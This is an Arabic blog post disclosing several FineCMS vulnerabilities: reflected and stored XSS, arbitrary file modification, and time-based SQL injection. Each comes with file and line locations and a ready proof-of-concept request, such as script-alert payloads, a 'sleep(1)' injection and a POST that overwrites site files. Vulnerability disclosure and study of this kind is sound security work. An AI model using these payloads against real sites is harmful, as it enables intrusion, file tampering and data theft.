اكتشاف ثغرات على سكربت FineCMS

1
السلام عليكم : 
اليوم و في هده التدوينة اريد مشاركة معكم اختبار اختراق احد السكربتات او انضمة ادارة المحتوى و المعروف ب اسم FineCMS و سوف نتعرف مع بعضنا البعض على طريقة اكتشاف بعض الثغرات على السكربت 
ثغرة  Reflected XSS في get_image.php   

في ملف /application/lib/ajax/get_image.php يوجد
$_POST[‘id’] و $_POST[‘name’] و $_GET[‘folder’]
ولا توجد اي فلترة او اي تشفير للقيم الناتجة 
الان سوف نتجه الى المتصفح و الى الرابط التالي 
http://your_finecms/application/lib/ajax/get_image.php?folder=1
والان سوف نقوم ب استغلال بسيط ل ثغرة ال XSS 

http://your_finecms/application/lib/ajax/get_image.php?folder=1

POST:

id=1"><script>alert(1)</script>&name=1



ثغرة Arbitrary File Modify : 
وضيفة ال function هي انها تسمح للمستخدم ب تغيير القالب على الموقع و ايضا تسمح للمهاجم ب تعديل  الملفات على الموقع  و هادا امر خطير جدا خصوصا ادا تمكن المهاجم من غرس بعض الاكواد الخبيثة على موقعك على سبيل المثال  SHELL 
الثغرة في هادا الملف
/appalication/core/controller/template.php
نلاحض السطر 50 و 53 


تابع ال فنكشن save() في هادا المسار 
 /appalication/core/model/template.php
لاحض السطر 26 و 48 

ادا كان الملف موجودا فيمكننا التعديل عليه و هنا تنتج الثغرة if file exists
و الشيء المثير للاهتمام انه توجد الثغرة في ملف اخر و ل نفس ال function  في الملف : 
/appalication/core/model/style.php 
في السطر 26 و 48 

و ايضا في الملف : 
/appalication/core/model/script.php
و على السطر 26 و 48

الاستغلال : 

http://your_finecms/index.php?route=template
http://your_finecms/index.php?route=style
http://your_finecms/index.php?route=script

POST:

contents=&filename={any exist filename}&savabutton=Zapisz

ثغرة SQL injection : 
يستخدم FineCMS ال PDO للاتصال ب قواعد البينات mysql و يقوم ب تمرير البينات دون التحقق منها و دون عمل اي فلترة و هادا يتيح للمستخدم ان يضع ما يريد و قد يقدم المهاجم على استخراج المعلومات من قاعدة البيانات 
الملف المصاب : 
application/core/controller/excludes.php 
 في السطر 75 يقوم الزائر او المستخدم في الموقع ب ادراج بيانات في قاعدة البيانات دون التحقق منها 


و ايضا في الملف 
/stat/get_stat_data.php


ثغرة sql inject في  sql_query و execute

الاستغلال : 

http://your_finecms/index.php?route=excludes&action=add

POST:
visitor_ip=1%27%2Csleep%281%29%2C%271&save_button=Zapisz


ثغرة Stored XSS في images.php: 
سكربت FineCMS يسمح للمشرف في الموقع (ال ADMIN) ب رفع اي صورة في المعرض و تضهر بيانات الصورة في الصفحات و لكن بعض البيانات يتم اخراجها الى الصفحات بدون اي فلترة و هادا سبب كافي لوجود الثغرة هنا .
عندما نقوم ب تحميل اي صورة على الموقع ب ملف 
 application/core/controller/images.php 
في السطر 87 



تابع 
function add()  application/core/model/images.php


ادا كان نوع الملف صورة ف سيتم ادراجه في قاعدة البييانات 
و الان سوف ننضر الى تفاصيل ملف عرض الصور في 
application/lib/generators/view.php
في السطر 106 نرى وضيفة اخراج الصفحات 


الاستغلال : 
 http://your_finecms/index.php?route=images&action=add 
و قم ب رفع اي صورة 


و كملا نلاحض في الهيدر 




و الان سوف نرى الاستغلال 


ب سبب الثغرة في تحرير صفحة التفاصيل. بحيث يمكنك أيضا استخدام تعديل لإدراج كود  في الصفحات.
http://your_finecms/index.php?route=images&action=edit&id=15 

و كملا نلاحض الاستغلال 



ثغرة Stored XSS في visitors.php:
يقوم FineCMS ب تخزين احصائيات زوار الموقع و لكن يقوم ب تخزين ال DATA بدون التحقق من صحتها وهادا ما يسبب الثغرة 

الاستغلال :

انتقل إلى أي صفحة باستخدام كود  جافا  سكريبت. مثال :

index.php?route=images&action=view&id=14'"><script>alert(1)</script>

عندما يعرض المشرف صفحة الزائرين 


1 Comment
  1. Bipin Jitiya says

    Arbitrary File Modify Require Login

Leave A Reply

Your email address will not be published.